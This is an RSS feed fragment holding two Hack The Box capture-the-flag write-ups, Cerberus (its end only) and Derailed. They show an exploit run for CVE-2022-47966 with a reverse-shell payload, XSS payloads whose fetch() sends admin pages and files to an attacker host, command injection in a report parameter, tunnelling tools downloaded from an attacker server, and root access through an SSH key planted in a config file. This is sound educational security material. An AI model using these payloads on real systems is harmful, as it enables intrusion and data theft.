     DC:0                   LISTENING<br>  TCP    0.0.0.0:464            DC:0                   LISTENING<br>  TCP    0.0.0.0:593            DC:0                   LISTENING<br>  TCP    0.0.0.0:636            DC:0                   LISTENING<br>  TCP    0.0.0.0:808            DC:0                   LISTENING<br>  TCP    0.0.0.0:1500           DC:0                   LISTENING<br>  TCP    0.0.0.0:1501           DC:0                   LISTENING<br>  TCP    0.0.0.0:2179           DC:0                   LISTENING<br>  TCP    0.0.0.0:3268           DC:0                   LISTENING<br>  TCP    0.0.0.0:3269           DC:0                   LISTENING<br>  TCP    0.0.0.0:5985           DC:0                   LISTENING<br>  TCP    0.0.0.0:8888           DC:0                   LISTENING<br>  TCP    0.0.0.0:9251           DC:0                   LISTENING<br>  TCP    0.0.0.0:9389           DC:0                   LISTENING<br>  TCP    0.0.0.0:47001          DC:0                   LISTENING<br>  TCP    0.0.0.0:49664          DC:0                   LISTENING<br>  TCP    0.0.0.0:49665          DC:0                   LISTENING<br>  TCP    0.0.0.0:49666          DC:0                   LISTENING<br>  TCP    0.0.0.0:49667          DC:0                   LISTENING<br>  TCP    0.0.0.0:49683          DC:0                   LISTENING<br>  TCP    0.0.0.0:49684          DC:0                   LISTENING<br>  TCP    0.0.0.0:49687          DC:0                   LISTENING<br>  TCP    0.0.0.0:49913          DC:0                   LISTENING<br>  TCP    0.0.0.0:49916          DC:0                   LISTENING<br>  TCP    0.0.0.0:49932          DC:0                   LISTENING<br>  TCP    0.0.0.0:58774          DC:0                   LISTENING</pre><p>Also running ping showed that the attacker machine could be reached from the Windows machine. That makes any required port forwarding much easier. To access the local ports I’ve used chisel once again, this time using its socks proxy capabilities.</p><pre>*Evil-WinRM* PS C:\Users\matthew\Documents&gt; iwr http://x.x.x.x:8000/chisel.exe -O ./chisel.exe<br>*Evil-WinRM* PS C:\Users\matthew\Documents&gt; .\chisel.exe client x.x.x.x:19000 R:socks</pre><p>Further enumerating the ports revealed that there is an ADSelfService instance running on port 9251. After a quick search, I’ve found a possible way forward by exploiting <a href="https://github.com/horizon3ai/CVE-2022-47966">CVE-2022–47966</a>. The problem is that to run the script it was required to specify <strong>the issuer </strong>and<strong> the right URL</strong>. To find those parameters I’ve logged requests and responses during normal authentication as matthew on the vulnerable website. Following a chain of redirects, I ended up on the <em>access denied</em> page, and all the required parameters were found in SAMLResponse in the last POST request in the log.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/543/1*pvaHBYzbAyNshRVwIzTN8g.png" /><figcaption>The request with the required parameters</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/546/1*b-ti24tVKxRkb1oGEKH-GQ.png" /><figcaption>The required parameters</figcaption></figure><p>The exploit hasn’t worked out of the box, so I’ve checked out <a href="https://packetstormsecurity.com/files/170925/ManageEngine-ADSelfService-Plus-Unauthenticated-SAML-Remote-Code-Execution.html">the corresponding Metasploit module</a> and updated the Proof-of-Concept exploit code to make it work. The payload for the reverse shell may be generated on <a href="https://www.revshells.com/">the online reverse shell generator</a>.</p><pre>proxychains python3 ./CVE-2022-47966-updated.py \<br> --url https://DC:9251/samlLogin/67a8d101690402dc6a6744b8fc8a7ca1acf88b2f \<br> --command &quot;powershell -e &lt;base64-encoded-reverse-shell&gt;&quot; \<br> --issuer &#39;http://dc.cerberus.local/adfs/services/trust&#39; \<br> --relay-state &#39;aHR0cHM6Ly9EQzo5MjUxL3NhbWxMb2dpbi9MT0dJTl9BVVRI&#39;</pre><pre>$ nc -nlvp 9001<br>listening on [any] 9001 ...<br>connect to [x.x.x.x] from (UNKNOWN) [10.10.11.205] 49499<br>whoami<br>nt authority\system<br>PS C:\Program Files (x86)\ManageEngine\ADSelfService Plus\bin&gt; cd C:/users/administrator/desktop<br>PS C:\users\administrator\desktop&gt; ls<br>Mode                LastWriteTime         Length Name                                                                  <br>----                -------------         ------ ----                                                                  <br>-ar---        7/28/2023  10:35 AM             34 root.txt           </pre><h3>Final words</h3><p>Thank you for taking the time to learn about the Cerberus machine. I sincerely hope that you found it informative and engaging. If you have any feedback or comments, please don’t hesitate to share them. Your input is greatly appreciated!</p><h3>Resources</h3><ol><li><a href="https://www.sonarsource.com/blog/path-traversal-vulnerabilities-in-icinga-web/#arbitrary-file-disclosure-cve202224716">https://www.sonarsource.com/blog/path-traversal-vulnerabilities-in-icinga-web/</a> — Path Traversal Vulnerabilities in Icinga Web by Thomas Chauchefoin</li><li><a href="https://icinga.com/docs/icinga-web/latest/doc/03-Configuration/">https://icinga.com/docs/icinga-web/latest/doc/03-Configuration/</a> — the official installation and configuration guidelines for Icinga Web 2</li><li><a href="https://github.com/Icinga/icingaweb2-module-idoreports">https://github.com/Icinga/icingaweb2-module-idoreports</a> — Icinga IDO Reports module source code</li><li><a href="https://www.revshells.com/">https://www.revshells.com/</a> — the online reverse shell generator</li><li><a href="https://www.openwall.com/lists/oss-security/2022/06/08/10">https://www.openwall.com/lists/oss-security/2022/06/08/10</a> — CVE-2022–31214</li><li><a href="https://i.blackhat.com/eu-18/Wed-Dec-5/eu-18-Wadhwa-Brown-Where-2-Worlds-Collide-Bringing-Mimikatz-et-al-to-UNIX.pdf">https://i.blackhat.com/eu-18/Wed-Dec-5/eu-18-Wadhwa-Brown-Where-2-Worlds-Collide-Bringing-Mimikatz-et-al-to-UNIX.pdf</a> — Where 2 worlds collide. Bringing Mimikatz et al to UNIX by Tim (Wadhwa-)Brown</li><li><a href="https://packetstormsecurity.com/files/170925/ManageEngine-ADSelfService-Plus-Unauthenticated-SAML-Remote-Code-Execution.html">https://packetstormsecurity.com/files/170925/ManageEngine-ADSelfService-Plus-Unauthenticated-SAML-Remote-Code-Execution.html</a> — CVE-2022–47966 Metaspoit module</li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=22f94b90e924" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB Write-up: Derailed]]></title>
            <link>https://lim8en1.medium.com/htb-write-up-derailed-fb4f0ee54452?source=rss-3928d98d88e0------2</link>
            <guid isPermaLink="false">https://medium.com/p/fb4f0ee54452</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[htb-writeup]]></category>
            <category><![CDATA[xss-attack]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[python]]></category>
            <dc:creator><![CDATA[Lim8en1]]></dc:creator>
            <pubDate>Sat, 22 Jul 2023 16:07:57 GMT</pubDate>
            <atom:updated>2023-07-22T16:07:57.519Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>Hey, everyone! I’m starting with publishing my write-ups and research notes here. I hope that you will enjoy the content!</p><h3>About the machine</h3><p><a href="https://app.hackthebox.com/machines/Derailed">Hack The Box</a></p><p>Derailed is a Linux insane difficulty level machine on a popular CTF platform <strong>Hack The Box</strong>. This machine primarily focuses on exploiting XSS vulnerability to get the initial access, after that escalating the privileges to root with a bit of enumeration and exploitation of loose file permissions.</p><p>To follow this write-up, you can check out the scripts in my <a href="https://github.com/lim8en1/public/tree/main/derailed">GitHub repository</a>.</p><h3>User</h3><h4>Initial enumeration</h4><p>Let’s start with the usual stuff:</p><pre>$ sudo nmap -sC -sV -p- 10.10.11.190 <br>Nmap scan report for 10.10.11.190<br>Host is up (0.095s latency).<br>Not shown: 65533 filtered tcp ports (no-response)<br>PORT     STATE SERVICE VERSION<br>22/tcp   open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)<br>| ssh-hostkey: <br>|   3072 1623b09ade0e3492cb2b18170ff27b1a (RSA)<br>|   256 50445e886b3e4b5bf9341dede52d91df (ECDSA)<br>|_  256 0abd9223df44026f278da6abb4077837 (ED25519)<br>3000/tcp open  http    nginx 1.18.0<br>|_http-title: derailed.htb<br>|_http-server-header: nginx/1.18.0<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</pre><p>Oh, a web server on port 3000! Time to check out <em>whatweb</em> output:</p><pre>$ whatweb http://10.10.11.190:3000<br>http://10.10.11.190:3000 [200 OK] <br>Bootstrap, Cookies[_simple_rails_session], Country[RESERVED][ZZ], <br>HTML5, HTTPServer[nginx/1.18.0], HttpOnly[_simple_rails_session], <br>IP[10.10.11.190], Script, Title[derailed.htb], <br>UncommonHeaders[x-content-type-options,x-download-options,x-permitted-cross-domainw-policies,referrer-policy,<br>link,x-request-id], X-Frame-Options[SAMEORIGIN], <br>X-XSS-Protection[1; mode=block], nginx[1.18.0]</pre><p>Judging by <em>_simple_rails_session, </em>the target is probably a Ruby on Rails application. It’s a good idea to add derailed.htb<strong> </strong>to your/etc/hosts file.</p><p>Time to execute ffuf and look for any interesting pages or <a href="https://book.hacktricks.xyz/generic-methodologies-and-resources/external-recon-methodology#vhosts-virtual-hosts">virtual hosts</a>. I’ll be using <a href="https://github.com/danielmiessler/SecLists">SecLists wordlists</a> for the task.</p><pre>...<br>[Status: 302, Size: 96, Words: 5, Lines: 1, Duration: 50ms]<br>| URL | http://derailed.htb:3000/administration<br>| --&gt; | http://derailed.htb:3000/login<br>    * FUZZ: administration<br><br>[Status: 200, Size: 99, Words: 12, Lines: 2, Duration: 66ms]<br>| URL | http://derailed.htb:3000/robots.txt<br>    * FUZZ: robots.txt<br>...</pre><p>It seems like we need a privileged account to access the /administration endpoint, and robots.txt does not contain any useful information.</p><p>Our next stop is the manual website enumeration. After trying out different website interactions, one can find a suspicious parameter — the note ID. It seems like it may be possible to view other users&#39; notes. Time to write a quick script to look for anything interesting in there:</p><pre>import argparse<br>import aiohttp<br>import asyncio<br>from tqdm.asyncio import tqdm<br><br><br>async def request(session: aiohttp.ClientSession, note_id: int) -&gt; str | None:<br>    &quot;&quot;&quot;<br>    Perform a single request and return the result<br>    :param session: HTTP session to use.<br>    :param note_id: id of the requested note.<br>    :return: note definition as a string if the corresponding id was found, None otherwise.<br>    &quot;&quot;&quot;<br>    async with session.get(f&#39;http://derailed.htb:3000/clipnotes/raw/{note_id}&#39;) as response:<br>        if response.ok:<br>            return await response.text()<br>        return None<br><br><br>async def main(min_note_id: int, max_note_id: int):<br>    &quot;&quot;&quot;<br>    Enumerate all notes in the selected range, and print out everything found.<br>    &quot;&quot;&quot;<br>    async with aiohttp.ClientSession() as session:<br>        flist = [request(session, note_id) for note_id in range(min_note_id, max_note_id)]<br>        with tqdm(total=len(flist)) as pbar:<br>            for f in asyncio.as_completed(flist):<br>                value = await f<br>                if value is not None:<br>                    pbar.write(value)<br>                pbar.update()<br><br><br>if __name__ == &#39;__main__&#39;:<br>    parser = argparse.ArgumentParser()<br>    parser.add_argument(&quot;--min-id&quot;, type=int, default=0)<br>    parser.add_argument(&quot;--max-id&quot;, type=int, default=0x400)<br>    args = parser.parse_args()<br><br>    asyncio.run(main(args.min_id, args.max_id))</pre><p>Nothing stands out, except for the leaked author&#39;s name alice. After unsuccessfully trying out a small list of common/default passwords, let’s move on.</p><h4>Reverse Engineering WebAssembly</h4><p>After poking around the website with a web proxy enabled (i.e. using Burp suite), it’s easy to notice that there is a hosted custom WebAssembly file (<em>display.wasm</em>). It is imported in <em>display.js:</em></p><pre>/** @type {function(...*):?} */<br>var _display = Module[&quot;_display&quot;] = createExportWrapper(&quot;display&quot;);<br>...<br>wasmBinaryFile = &#39;display.wasm&#39;;</pre><p>Checking out the note displaying page source, it’s easy to spot where that function is used:</p><pre>let author = clipNote.author<br>let created = clipNote.created_at<br><br>Module.ccall(<br>  &quot;display&quot;,<br>  &quot;number&quot;,<br>  [&quot;string&quot;, &quot;string&quot;],<br>  [<br>      created,<br>      author<br>  ]<br>);</pre><p>I’ve used<a href="https://github.com/WebAssembly/wabt"> WABT: The WebAssembly Binary Toolkit</a> to decompile the file.</p><p>The decompiled output may seem a bit overwhelming at first (especially to people not familiar with reverse engineering). I’ve updated the output to make it more readable:</p><pre>export function display(chr* created, chr* author) {<br>  //Some stack management happens here<br>  ...<br>  //Copy the first parameter as a string (there are no size checks!)<br>  strcpy(stack+0x50, created);<br>  <br>  //Copy the second parameter as a string (no size checks here as well!)<br>  strcpy(stack+0x20, author);<br>  <br>  // initialize a structure that will be passed to env_emscripten_asm()<br>  stack[3] = strlen(stack+0x20); // length of created<br>  stack[2] = stack+0x20; // created ptr<br>  stack[1] = strlen(stack+0x50); // length of author<br>  stack[0] = stack+0x50; // author ptr<br>  env_emscripten_asm(0x400, &#39;iiii\0&#39;, stack);<br>  return 0;<br>}</pre><p><em>As an exercise for curious readers, who want to improve their reverse-engineering skills, it is worth trying to check out the strcpy/strlen functions and understand what they do. After doing so, it’ll be easier to spot functions with similar functionality in the future.</em></p><p>As we can see from the disassembly, there is a vulnerability there: by using <strong>author</strong> names longer than <strong>48 bytes </strong>(0x50–0x20) it is possible to modify the <strong>created </strong>string<strong> </strong>value.</p><p>That’s fascinating! However, before going deeper, I will automate common website interactions for easier research and exploitation.</p><h4>Basic automation</h4><p>The main hurdle in automating the interaction with the website is the <a href="https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html#token-based-mitigation">CSRF token</a>. However, finding and extracting the token is quite easy using a simple <a href="https://en.wikipedia.org/wiki/Regular_expression">regexp</a>:</p><pre>def _extract_token(data: str) -&gt; None | str:<br>    match = re.search(r&quot;name=\&quot;authenticity_token\&quot;.*value=\&quot;([^\&quot;]+)\&quot;&quot;, data)<br>    if not match:<br>        logger.critical(&quot;Failed to find authenticity token&quot;)<br>        return None<br>    return match[1]<br><br><br>def _get_csrf_token(session: requests.Session, url: str) -&gt; None | str:<br>    response = session.get(url)<br>    if not response.ok:<br>        logger.critical(f&quot;Failed to get the requested page [{url}]&quot;)<br>        return None<br>    return _extract_token(response.text)</pre><p>After adding the 4 main interactions (register, login, creating a note, and reporting a note), we can continue our journey.</p><h4>XSS: detection, reflection, exploitation</h4><p>It’s worth highlighting that there is a “report a note” functionality. Submitting the report returns a message saying, “Our admins will soon have a look at it”. Maybe we can try looking for an XSS vulnerability that can be reflected on a privileged account thus giving us access to the /administration endpoint.</p><p>Now it’s finally time to test out the strcpy vulnerability discovered earlier:</p><pre>sess = requests.Session()<br><br># length &gt; 0x30 to trigger the vulnerability<br>username = random_string(length=0x40) <br>password = random_string()<br>register(sess, username, password)<br>login(sess, username, password)<br>create_note(sess, &#39;test&#39;)</pre><p>After creating and checking out the note, we can see the result of the successful exploitation of discovered vulnerability:</p><pre>Author: qrfpsoISZCptmZivPwGivfIcNtalwMxrqNWpbuSRffmjZsLFvMVzWXtYLKeXtOkA, created: vMVzWXtYLKeXtOkA</pre><p>Instead of strings of random letters, let’s use a more interesting payload.</p><p>To start, I plan to test if an XSS attack can be reflected to me. Once successful, I will investigate if the “<strong>report a note</strong>” function can be used to send a malicious payload to another user. Finally, I will fine-tune the payload and deliver it to the intended target.</p><p>It appears that triggering XSS through the “<strong>username”</strong> parameter is unlikely, but we can overwrite the “<strong>created”</strong> value, as demonstrated earlier.</p><pre>s = requests.Session()<br>username = random_string(length=0x30) + &#39;&lt;img src=x onerror=alert(1) /&gt;&#39;<br>password = random_string()<br>register(s, username, password)<br>login(s, username, password)<br>note_id = create_note(s, random_string())</pre><p>After running the script and visiting the created note page, it was evident that the payload had been successfully executed.</p><p>To confirm the hypothesis that the reported note could be utilized to deliver an XSS attack to an administrator, I utilized the following payload:&lt;img src=x onerror=fetch(&quot;http://&lt;attacker-ip&gt;/success&quot;) /&gt;, and in a matter of a few minutes, I’ve received a callback!</p><h4>Chaining everything together</h4><p>It’s finally time to write the exploitation script and explore the previously inaccessible page.</p><p>To intercept requests from the victim machine, I’ve used a custom http server in a separate thread:</p><pre>class RequestHandler(BaseHTTPRequestHandler):<br>    queue_out = queue.Queue()<br><br>    def do_GET(self):<br>        self.send_response(200)<br>        self.end_headers()<br><br>    def do_POST(self):<br>        content_length = int(self.headers[&#39;Content-Length&#39;])<br>        post_data_raw = self.rfile.read(content_length)<br>        post_data = post_data_raw.decode()<br>        logger.success(post_data)<br>        self.send_response(200)<br>        self.send_header(&#39;Connection&#39;, &#39;close&#39;)<br>        self.end_headers()<br>        self.queue_out.put(post_data)<br><br>...<br>server = (args.ip, args.port)<br>httpd = HTTPServer(server, RequestHandler)<br>httpd.allow_reuse_address = True<br>server_thread = threading.Thread(target=httpd.serve_forever)<br>server_thread.start()<br>...<br>httpd.shutdown()</pre><p>Here’s the actual payload I’m planning to use:</p><pre>fetch(&#39;http://derailed.htb:3000/administration&#39;) <br>.then(response =&gt; response.text())<br>.then(data =&gt; {<br>    fetch(&#39;http://&lt;attacker-ip&gt;/&#39;, {method: &quot;POST&quot;, body: data})<br>});</pre><p>The most curious thing on the retrieved page is the report downloading:</p><pre> &lt;form method=&quot;post&quot; action=&quot;/administration/reports&quot;&gt;<br>        &lt;input type=&quot;hidden&quot; name=&quot;authenticity_token&quot; id=&quot;authenticity_token&quot; value=&quot;3LBVEkNmM2_W1Libu9RDmpNoWwg6cqqBer3x8GJSSHao1HA5ScZuA0IIcJEdUXik2Fvd6ORQ8iVOvWJjPJwtDA&quot; autocomplete=&quot;off&quot; /&gt;<br>        &lt;input type=&quot;text&quot; class=&quot;form-control&quot; name=&quot;report_log&quot; value=&quot;report_21_07_2023.log&quot; hidden&gt;</pre><p>The first and easiest thing we can do now is to check out the existing log and look for credentials. However, to obtain the file, a legitimate CSRF token must be included in the request. Fortunately, it’s not difficult to implement token extraction in JavaScript.</p><pre>const re = new RegExp(&#39;name=&quot;authenticity_token&quot;.*value=&quot;([^\&quot;]+)&quot;&#39;);<br>let auth_token = re.exec(data)[1];<br>fetch(&#39;http://derailed.htb:3000/administration/reports&#39;, {<br>  method: &quot;POST&quot;, headers: {<br>    &quot;Content-Type&quot;: &quot;application/x-www-form-urlencoded&quot;, <br>    &quot;Referer&quot;: &quot;http://derailed.htb:3000/administration&quot;<br>  },<br>  body: &#39;authenticity_token=&#39; + auth_token + &#39;&amp;report_log=report_21_07_2023.log&amp;button=&#39;<br>})<br>.then(response =&gt; response.arrayBuffer())<br>.then(data =&gt; {<br>  fetch(&#39;http://&lt;attacker-ip&gt;/&#39;, {<br>    method: &quot;POST&quot;, <br>    body: data<br>  })<br>});</pre><p>The log does not contain any useful information, but maybe it would be possible to request some other local files though.</p><pre>...<br>| INFO     | __main__:&lt;module&gt;:88 - Waiting a few minutes for XSS to get triggered<br>| SUCCESS  | __main__:do_POST:20 - <br>root:x:0:0:root:/root:/bin/bash<br>daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin<br>...</pre><p>Bingo! Requesting report_log=/etc/passwd returned the actual file contents!</p><p>Googling a bit more revealed that there are quite a few <a href="https://bishopfox.com/blog/ruby-vulnerabilities-exploits">Ruby-specific vulnerabilities that result in RCE</a>. By modifying the <strong>target file</strong> to |`&lt;bash-command&gt;` it is indeed possible to execute the code on the victim machine.</p><p>After getting and upgrading the shell, it is finally time for local file enumeration.</p><pre>rails@derailed:/var/www/rails-app$ python3 -c &#39;import pty; pty.spawn(&quot;/bin/bash&quot;)&#39;<br>rails@derailed:/var/www/rails-app$ ls ~/ <br>user.txt</pre><p>The user flag is owned!</p><h3>Root</h3><h4>Getting a stable shell connection</h4><p>For a better experience, it is advised to upgrade from the reverse shell connection to the SSH connection. To achieve that, it is required to do the following on the attacker machine:</p><pre>$ ssh-keygen -f ./id_rsa_derailed<br>...<br>$ python3 -m http.server</pre><p>And on the victim machine:</p><pre>rails@derailed:~/$ cd ./.ssh<br>rails@derailed:~/.ssh$ curl http://&lt;attacker-ip&gt;:8000/id_rsa_derailed.pub &gt; ./authorized_keys</pre><p>Now let’s test if the setup works.</p><pre>$ ssh rails@derailed.htb -i ./id_rsa_derailed                <br>...<br>rails@derailed:~$</pre><p>The connection seems just fine so it’s time to return to the machine enumeration once more.</p><h4>Finding the leads</h4><p>There are some curious internal ports on the machine.</p><pre>$ netstat -tl<br>Active Internet connections (only servers)<br>Proto Recv-Q Send-Q Local Address           Foreign Address         State      <br>tcp        0      0 derailed:5357           0.0.0.0:*               LISTEN     <br>tcp        0      0 localhost:57477         0.0.0.0:*               LISTEN     <br>tcp        0      0 localhost:3003          0.0.0.0:*               LISTEN   <br>tcp        0      0 localhost:http          0.0.0.0:*               LISTEN  <br>tcp        0      0 localhost:34433         0.0.0.0:*               LISTEN    </pre><p>After poking around using curl, I’ve decided that the most interesting port is <strong>80 </strong>and forwarded it using <a href="https://github.com/jpillora/chisel">chisel</a>.</p><pre>rails@derailed:~$ ./chisel client &lt;chisel-server&gt; R:8008:localhost:80 &amp;</pre><p>This seems to be an openmediavault web application, no way to move forward for now though. Time to take a step back and review once more the ruby website files.</p><p>It appears that the web application utilizes an SQLite database. There may be a chance to locate certain user credentials within it.</p><pre>rails@derailed:/var/www/rails-app/db$ sqlite3 ./development.sqlite3 -batch -cmd &#39;.tables&#39; &#39;.quit&#39;<br>ar_internal_metadata  reports               users               <br>notes                 schema_migrations<br>rails@derailed:/var/www/rails-app/db$sqlite3 ./development.sqlite3 -batch -cmd &#39;select * from users;&#39; &#39;.quit&#39;<br>1|alice|$2a$12$ ...<br>...</pre><p>With the user hashes at our disposal, we can attempt to crack them. Using <a href="https://www.kali.org/tools/hashid/">hashid</a> to determine the correct mode, I ran hashcat and successfully discovered one password. A quick examination of /etc/passwd allowed me to make an educated guess as to whose password it is.</p><h4>PE, enumerate more, PE once again</h4><p>Initial enumeration after changing the account shows that there are several custom groups and some interesting write access permission in place.</p><pre>rails@derailed:~$ su openmediavault-webgui<br>...<br>openmediavault-webgui@derailed:~$ groups<br>openmediavault-webgui openmediavault-engined openmediavault-config<br>openmediavault-webgui@derailed:~$ find / -writable 2&gt; /dev/null | grep -v proc<br>...<br>29565     20 -rw-rw----   1 root                  openmediavault-config    18838 May 30  2022 /etc/openmediavault/config.xml<br>...</pre><p>Some handy information about openmediavault can be found <a href="https://docs.openmediavault.org/en/5.x/faq.html">here</a>. The file /etc/openmediavault/config.xml is essential as it is used to store configurations. If the user has write access to it, they may be able to modify settings to gain higher privileges. The file also contains a user configuration section where you can add a user name and public ssh key in OpenSSH format. Let’s try to set up the <strong>root</strong> user by modifying the existing <strong>test</strong> user that way!</p><pre># convert to OpenSSH format<br>ssh-keygen -e -f ./id_rsa_derailed</pre><p>The hint on how to specify SSH key for a user can be seen in the comments inside the configuration file:</p><pre>&lt;!--<br>  &lt;user&gt;<br>          &lt;uuid&gt;xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx&lt;/uuid&gt;<br>          &lt;name&gt;xxx&lt;/name&gt;<br>          &lt;email&gt;xxx&lt;/email&gt;<br>          &lt;disallowusermod&gt;0&lt;/disallowusermod&gt;<br>          &lt;sshpubkeys&gt;<br>                  &lt;sshpubkey&gt;|xxx&lt;/sshpubkey&gt;<br>          &lt;/sshpubkeys&gt;<br>  &lt;/user&gt;<br>  --&gt;</pre><p>To apply the configuration, it is required to <a href="https://forum.openmediavault.org/index.php?thread/36787-apply-pending-configuration-changes-on-the-command-line/">execute an RPC service</a>. If everything is done correctly, the command will return null.</p><pre>$ /usr/sbin/omv-rpc -u admin &quot;config&quot; &quot;applyChanges&quot; &quot;{ \&quot;modules\&quot;: [\&quot;ssh\&quot;],\&quot;force\&quot;: true }&quot;<br>null</pre><p>Let’s see if we have access:</p><pre>$ ssh root@derailed.htb -i ./id_rsa_derailed <br>...<br>root@openmediavault:~# ls<br>google meta  root.txt</pre><p>Thank you for taking the time to learn about the Derailed machine. I sincerely hope that you found it informative and engaging. If you have any feedback or comments, please don’t hesitate to share them. Your input is greatly appreciated!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fb4f0ee54452" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>